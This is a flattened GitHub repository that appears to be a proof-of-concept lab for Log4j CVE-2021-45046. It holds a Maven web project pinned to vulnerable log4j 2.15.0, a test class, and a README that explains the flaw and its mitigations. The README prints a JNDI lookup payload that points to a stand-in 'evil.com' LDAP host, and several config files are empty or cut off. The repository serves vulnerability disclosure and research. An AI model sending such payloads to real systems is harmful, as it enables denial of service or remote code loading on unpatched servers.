├── .gitignore
├── src
├── META-INF
│ └── MANIFEST.MF
└── main
│ ├── java
│ ├── META-INF
│ │ └── MANIFEST.MF
│ └── Test.java
│ ├── webapp
│ ├── WEB-INF
│ │ └── web.xml
│ └── index.jsp
│ └── resources
│ └── log4j2.xml
├── images
└── 1.png
├── log4j_RCE.iml
├── README.md
└── pom.xml
/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | logs/
3 | .idea/
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Test
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Test
3 |
4 |
--------------------------------------------------------------------------------
/images/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cckuailong/Log4j_CVE-2021-45046/HEAD/images/1.png
--------------------------------------------------------------------------------
/log4j_RCE.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="org.apache.logging.log4j.LogManager"%>
2 | <%@ page import="org.apache.logging.log4j.Logger"%>
3 | <%
4 | Logger log = LogManager.getLogger(this.getClass());
5 | request.get
6 | log.info("数据还没有插入到数据库中,没插入---");
7 | %>
8 |
--------------------------------------------------------------------------------
/src/main/java/Test.java:
--------------------------------------------------------------------------------
1 | import org.apache.logging.log4j.LogManager;
2 | import org.apache.logging.log4j.Logger;
3 | import org.apache.logging.log4j.ThreadContext;
4 |
5 | public class Test {
6 |
7 | public static void main(String[] args) {
8 | Logger logger = LogManager.getLogger(Test.class);
9 | ThreadContext.put("myContext", "${java:version}");
10 | logger.error("1111");
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/resources/log4j2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Log4j 2.15.0 Privilege Escalation -- CVE-2021-45046
2 |
3 | ## Attack
4 |
5 | 
6 |
7 | ## Discription
8 |
9 | It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.noFormatMsgLookup` to `true` do NOT mitigate this specific vulnerability. Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
10 |
11 | ## cvss 3.7 -> 9
12 |
13 | Poc
14 |
15 | ```
16 | ${jndi:ldap://127.0.0.1#evil[.]com:1389/a}
17 | ```
18 |
19 | ## Log4shell Topic
20 |
21 | https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j
22 |
23 | ## Welcome to contribute in reapoc
24 |
25 | https://github.com/cckuailong/reapoc
26 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | org.example
8 | log4j_RCE
9 | 1.0-SNAPSHOT
10 | war
11 |
12 | log4j_RCE Maven Webapp
13 |
14 | http://www.example.com
15 |
16 |
17 | UTF-8
18 | 1.7
19 | 1.7
20 |
21 |
22 |
23 |
24 | junit
25 | junit
26 | 4.11
27 | test
28 |
29 |
30 | org.apache.logging.log4j
31 | log4j-api
32 | 2.15.0
33 |
34 |
35 | org.apache.logging.log4j
36 | log4j-core
37 | 2.15.0
38 |
39 |
40 |
41 |
42 | log4j_RCE
43 |
44 |
45 |
46 | maven-clean-plugin
47 | 3.1.0
48 |
49 |
50 |
51 | maven-resources-plugin
52 | 3.0.2
53 |
54 |
55 | maven-compiler-plugin
56 | 3.8.0
57 |
58 |
59 | maven-surefire-plugin
60 | 2.22.1
61 |
62 |
63 | maven-war-plugin
64 | 3.2.2
65 |
66 |
67 | maven-install-plugin
68 | 2.5.2
69 |
70 |
71 | maven-deploy-plugin
72 | 2.8.2
73 |
74 |
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------